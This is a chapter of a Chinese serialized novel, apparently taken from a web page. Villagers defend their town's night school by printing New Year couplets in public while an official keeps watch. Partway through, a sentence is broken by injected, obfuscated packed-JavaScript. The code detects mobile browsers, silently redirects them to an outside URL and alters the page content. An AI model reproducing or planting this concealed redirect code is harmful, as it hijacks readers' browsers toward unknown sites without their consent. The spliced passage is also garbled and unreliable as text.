“我也没睡。”张静远在对面坐下,揉了揉眉心,“后半夜,我去码头看了看。” “有什么发现?” “那辆黑马车还在。”张静远声音低沉,“停在‘悦来茶馆’后院,马没卸套,随时能走。吴干事……没走。” 这在意料之中。张静轩吹了吹粥,热气氤氲了他的脸:“他在等什么?” “等腊月三十。”张静远顿了顿,“等省城来那个人。” 腊月三十,就是明天。年关最后一天,也是约定中“省城来人”的日子。吴干事留下,显然是为了接应。 “大哥,”张静轩放下碗,“你觉得……省城会来谁?” 张静远沉默片刻,缓缓道:“能让吴干事这样等,能让孙维民那伙人俯首帖耳的……不会是小角色。可能……是王秉章本人,也可能……是他背后更上面的人。” “他们到底想干什么?” “不知道。”张静远摇头,“但肯定不是好事。昨夜那出戏,只是试探。试探咱们的反应,试探街坊们的态度。真正的杀招,恐怕在明天。” 张静轩感到一阵无力。这种看不见对手、猜不透意图的对抗,比明刀明枪更磨人。你永远不知道下一刀从哪里来,什么时候来。 “那咱们……” “该做什么还做什么。”张静远站起身,走到窗前,“学堂照常,夜校继续。今天腊月二十九,该备年货备年货,该贴春联贴春联。越正常,他们越没辙。” 话虽如此,但张静轩知道,大哥心里也没底。只是作为兄长,作为这个家的顶梁柱,他必须表现得镇定。 早饭后,张静轩照例去学堂。雪后的街道比往日更热闹,年关的气氛冲淡了昨夜的不安。街坊们见面互相拜早年,孩子们在雪地里追逐嬉戏,红灯笼在檐下晃晃悠悠。 路过陈老秀才家时,老人正在门口晒太阳。看见张静轩,他招招手:“静轩,来。” 张静轩走过去。陈老秀才从袖里掏出个红封:“这个,给你。” “陈老先生,这……” “不是给你的,是给学堂的。”陈老秀才把红封塞进他手里,“昨夜的事,我看见了。那帮混账东西,想搅黄咱们的夜校。没门!” 红封很厚,里面是银元。张静轩眼眶一热:“陈老先生,这怎么使得……” “使得。”陈老秀才摆摆手,“我老了,没几天活头了。这些钱,留着也没用,不如给学堂,给孩子们。”他顿了顿,压低声音,“静轩,昨夜那本书……不是偶然吧?” 张静轩心头一震,没说话。 “你不说,我也猜得到。”陈老秀才叹了口气,“有些人,见不得咱们好。但咱们偏要好给他们看!夜校,接着办!今晚我还去,我看谁敢捣乱!” 这话说得硬气。张静轩深深一揖:“谢陈老先生。” “谢什么。”陈老秀才扶起他,“青石镇是我的根,学堂是青石镇的希望。护着学堂,就是护着根。” 离开陈老家,张静轩心里暖了些。街坊们的支持,是实实在在的力量。昨夜那么一闹,非但没吓退大家,反而激起了众人的护犊之心。 到学堂时,苏宛音和程秋实已经在忙了。祠堂里炭火盆烧得旺,昨晚被搅乱的桌椅重新摆好,黑板上的字迹擦得干干净净,准备写今天的夜校内容。 “静轩,”苏宛音放下手中的抹布,“陈先生他们……安全离开了吧?” “应该安全。”张静轩点头,“雪夜赶路,不易追踪。” 程秋实推了推眼镜,忧心忡忡:“设备少了那么多,以后印刷……” “陈先生留了一套简易的。”张静轩走到后厢房,掀开油布,“暂时够用。他说开春后再送新的来。” 苏宛音看了看那套简陋的设备,轻声道:“委屈陈先生了。” “他说不委屈。”张静轩想起陈启明临走时的话,“换个地方,换个方式,继续做事。” 三人沉默了片刻。窗外传来孩童的嬉笑声,是早起的学生来学堂玩雪。年假期间,学堂虽不上课,但孩子们还是喜欢来这里——这里有书,有黑板,有他们熟悉的先生。 “今晚的夜校,”程秋实打破沉默,“还办吗?” “办。”张静轩肯定道,“陈老先生说了,他今晚还来。街坊们也都会来。” “可吴干事那边……” “他若来,咱们正常接待。”张静轩道,“他若捣乱,街坊们不会答应。” 这倒也是。昨夜那场闹剧,街坊们都看在眼里。那本禁书出现得蹊跷,陈启明认领得干脆,明眼人都能看出有问题。今天若再来,不用学堂出面,街坊们的唾沫星子就能把那伙人淹了。 “那今晚教什么?”苏宛音问。 “还教实用的。”张静轩想了想,“教写‘福’字,教算年账,再教……教认钱币。过年要发压岁钱,这个最实在。” 苏宛音眼睛一亮:“这个好。我去准备。” 程秋实也点头:“我再写几副春联样版,让大家照着描。” 分工明确,各自忙开。张静轩走到院子里,看着那棵老槐树。树杈上的积雪在阳光下慢慢融化,雪水顺着枝干流下,滴在树根处,渗进冻土里。 像眼泪,也像甘露。 他忽然想起大哥说的那句话:“真正的根基,扎在土里,看不见,但最结实。” 学堂的根基,就是这些街坊的心。昨夜那场风波,非但没动摇根基,反而让根基扎得更深了。 午前,周大栓来了。这位船工师傅今日没出工,特意来学堂帮忙。“静轩,”他搓着手,“昨晚那伙人,今早还在镇上转悠。我让码头的兄弟盯着呢,一有动静就来报。” “谢周叔。” “谢啥。”周大栓咧嘴笑,“学堂是咱们大家的,谁想动,先问问咱们答应不答应。”他顿了顿,“对了,水生那小子,昨晚回去可激动了,说长大了也要像陈先生那样,有担当。” 张静轩笑了。这就是传承——陈启明担下风险,保护了学堂;水生看在眼里,记在心里。一代人影响一代人,希望就是这样传递的。 午后,李铁匠也来了,扛着一捆木炭:“天冷,多备点炭,晚上夜校用。”放下炭,他又压低声音,“镇公所那边,赵明德的位子空了。听说……是吴干事暂时接管。” 这消息重要。张静轩心头一紧:“吴干事接管镇公所?” “名义上是‘临时协理’。”李铁匠道,“说是赵明德‘涉嫌渎职’,被带走了,镇上的事务不能没人管。” 好借口。张静轩明白了——吴干事这是要名正言顺地插手青石镇事务。有了“临时协理”这个身份,他查学堂、查印刷、查夜校,就都“合规”了。 “还有,”李铁匠声音更低了,“吴干事今早去了趟砖窑。” 砖窑?张静轩心头一震。那里有地下仓库,虽然昨夜清理过了,但若仔细查,难免留下痕迹。 “他发现了什么?” “不知道。”李铁匠摇头,“我徒弟远远跟着,看见吴干事在窑里待了半个时辰,出来时脸色不好看。可能……没找到他想找的。” 张静轩稍稍放心。昨夜他们处理得很干净,灰烬埋了,脚印扫了,应该没留线索。但吴干事既然盯上了砖窑,说明他已经怀疑那里了。 送走李铁匠,张静轩在院子里踱步。雪后的阳光很好,照在身上暖洋洋的,但他心里却一片冰凉。 吴干事在步步紧逼——接管镇公所,探查砖窑,下一步……可能就是直接搜查学堂了。虽然昨夜陈启明把大部分设备带走了,但留下的这套简易印刷机,还有那些铅字、油墨,若被查获,依然是“罪证”。 得想个办法。 他回到书房,看着那套简易设备。忽然,一个念头冒出来——如果……设备不是用来印教材的呢? 他立刻去找苏宛音和程秋实。 “我有个想法。”张静轩指着印刷设备,“今晚夜校,咱们当场印东西。” “印什么?”程秋实问。 “印春联。”张静轩道,“就用这套设备,当场给街坊们印春联。内容就写‘福寿安康’‘五谷丰登’这些吉庆话。让所有人都看见——这套设备,只印这些。” 苏宛音明白了:“你是要……当众证明设备的用途?” “对。”张静轩点头,“吴干事若来查,街坊们都能作证——这套设备,从没印过禁书,只印过教材和春联。” 这主意大胆,但有效。当众演示,众目睽睽,比任何辩解都有力。 “可咱们没印过春联……”程秋实犹豫。 “现学。”张静轩道,“铅字都是现成的,拼起来就行。油墨不够,我去买。” 说干就干。程秋实去准备春联内容,苏宛音去裁红纸,张静轩则上街买油墨。雪后的街道人来人往,他在“文宝斋”买了三盒油墨,又顺便买了些红纸、金粉——既然要印,就印得漂亮些。 回学堂的路上,他看见那辆黑马车还停在“悦来茶馆”后院。车夫不在,车厢帘子拉着,看不清里面。张静轩加快脚步,匆匆而过。 回到学堂,三人开始试验。程秋实拼好了“福”字和“春”字的铅版,苏宛音调好油墨,张静轩操作印刷机。手摇柄转动,滚筒压过铅版,沾上油墨,再压到红纸上—— 第一张春联印出来了。 虽然墨色有些淡,字迹也有些模糊,但能看出是“福”字。三人相视一笑,有了信心。 接着印“寿”字、“安”字、“康”字。一遍遍试验,墨色渐渐均匀,字迹渐渐清晰。到傍晚时,他们已经能印出像模像样的春联了。 “今晚夜校,”张静轩看着桌上摊开的几十副春联,“每个来的人,送一副。” “那得印多少?”程秋实算着。 “能印多少印多少。”张静轩道,“印不完的,明天继续。总之,要让所有人都看见,这套设备在做什么。” 天色渐暗,学堂里点起灯。炭火盆烧得旺,暖意融融。陆陆续续地,街坊们来了——周大栓带着水生,李铁匠带着徒弟,陈老秀才拄着拐杖,还有卖豆腐的王婶、开杂货铺的刘掌柜……祠堂里很快坐满了人。 戌时整,夜校开始。陈老秀才照例先讲话,老人家今天声音格外洪亮:“昨夜有些混账来捣乱,咱们不怕!夜校照办,学堂照开!今晚,学堂还要给大伙儿印春联,现场印,现场送!” 掌声雷动。街坊们兴奋地交头接耳,目光都投向那套简易印刷设备。 张静轩走到设备前,深吸一口气,开始操作。手摇柄转动,滚筒压过铅版,沾上油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140670|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨,再压到红纸上。一张印着“福”字的春联,缓缓出来。 他举起春联,墨迹未干,在灯光下闪着光。 “这副‘福’字春联,”他朗声道,“送给陈老先生。祝您福如东海,寿比南山!” 陈老秀才接过春联,老泪纵横:“好,好!这‘福’字,我贴大门上!” 接着印“寿”字,送给周大栓;“安”字,送给李铁匠;“康”字,送给王婶……一副副春联印出来,一个个街坊接过去。祠堂里气氛热烈,像过年提前到了。 就在印到第二十副时,门口传来了脚步声。 吴干事来了。 他依然穿着灰色呢子大衣,戴着金丝眼镜,身后跟着两个人——正是昨夜捣乱的那个汉子和另一个手下。三人站在门口,看着祠堂里的热闹景象。 张静轩停下印刷,抬头看向他。 祠堂里安静下来。街坊们都转头看着门口,眼神里有警惕,有不满,也有隐隐的敌意。 吴干事推了推眼镜,脸上挤出一个笑:“这么热闹?我也来凑凑。” 他走进来,目光扫过印刷设备,扫过桌上摊开的春联,扫过街坊们手里的红纸。最后,停在张静轩脸上。 “张同学,”他开口,“这是在印什么?” “印春联。”张静轩平静道,“过年了,给街坊们送点喜庆。” “哦?用印刷机印春联?”吴干事走到设备前,伸手摸了摸滚筒,“这设备……挺精巧。” “简易设备,只能印些简单的。”张静轩道,“印教材,印识字画,现在印春联。都是学堂用得着的。” 吴干事点点头,拿起一张刚印好的春联,对着灯光看了看:“字迹清楚,墨色均匀。手艺不错。”他放下春联,转向街坊们,“乡亲们,这春联,喜欢吗?” “喜欢!”周大栓大声道,“比买的还好!” “就是!”李铁匠接话,“学堂有心了!” 街坊们纷纷附和。吴干事的笑容僵了僵,但很快恢复:“喜欢就好。学堂为乡亲们做事,是该支持。” 他顿了顿,忽然问:“张同学,这设备……是从哪儿来的?” 来了。张静轩心头一紧,但面上平静:“合作方提供的。具体哪位,不方便说。” “合作方?”吴干事挑眉,“是那位……陈先生?” “陈先生已经离开了。”张静轩答得不卑不亢,“设备是他留下的,说是支持学堂办学。” “离开了?”吴干事眼中闪过一丝什么,“什么时候离开的?” “昨夜。”张静轩直视他,“夜校结束后。” 这话说得巧妙——既承认陈启明离开,又暗示离开与夜校有关。吴干事若追问,就等于承认昨夜是他捣乱。 吴干事果然没再追问。他沉默片刻,忽然笑了:“陈先生有心了。这设备,学堂用着合适就好。” 他说完,转身要走,又停住:“对了,明日腊月三十,省教育学会有位领导要来青石镇考察。到时候,可能会来看看学堂。你们……准备一下。” 这话像一颗石子投入平静的湖面。祠堂里顿时响起议论声。 省教育学会的领导?腊月三十来?这分明是来者不善。 张静轩深吸一口气,点头:“我们随时欢迎。” 吴干事深深看了他一眼,带着人离开了。脚步声渐远,最终消失在雪夜里。 祠堂里一片寂静。街坊们面面相觑,刚才的热闹荡然无存。 陈老秀才拄着拐杖站起来,声音苍老但坚定:“怕什么?来就来!咱们学堂光明正大,不怕看!” “对!”周大栓拍案而起,“明日咱们都来,给学堂撑场子!” “都来!”李铁匠也站起来,“看他能怎样!” 街坊们纷纷响应。张静轩看着那一张张朴实而坚定的脸,眼眶发热。 这就是青石镇的百姓。平日里可能计较几分利,可能为点小事争吵,但大是大非面前,他们分得清,站得直。 “静轩,”苏宛音轻声说,“明日……” “兵来将挡。”张静轩握紧拳,“咱们做好该做的,问心无愧。” 夜校继续,但气氛已不同。街坊们没了之前的轻松,多了几分凝重。春联还在印,一副副红纸金字,在灯光下格外刺眼。 像战书,也像旌旗。 戌时三刻,夜校结束。街坊们拿着春联离开,每个人都走得慢,仿佛想把这一刻多留一会儿。 张静轩送走最后一位街坊,关上门。祠堂里只剩下他们三人,还有那套简易印刷设备。 “明日……”程秋实欲言又止。 “明日的事,明日再说。”张静轩开始收拾设备,“今晚,咱们先把能做的做了。” 他把印刷机擦干净,铅字归位,油墨盖好。动作很慢,很仔细,像在完成某种仪式。 苏宛音和程秋实帮忙收拾春联,一张张叠好,用红绳捆起来。灯光下,红纸金字堆成小山,像一团燃烧的火。 “静轩,”苏宛音忽然问,“你怕吗?” 张静轩停下手,想了想,诚实地说:“怕。但怕也得做。” “为什么?” “因为……”他看向窗外,雪夜的青石镇宁静祥和,“因为这是咱们的根。根若没了,树就倒了。” 苏宛音沉默。良久,她轻声道:“你说得对。” 收拾完,三人离开学堂。雪又飘了起来,细密的雪粒在夜风里翻飞。张静轩走在最后,锁上门时,他回头看了一眼—— 祠堂里,灯光还亮着。 那光透过窗纸,晕开一团暖黄,在雪夜里格外醒目。 像灯塔,也像烽火。 指引方向,也昭示存在。 他深吸一口气,转身走入风雪。 明日,腊月三十。年关最后一天。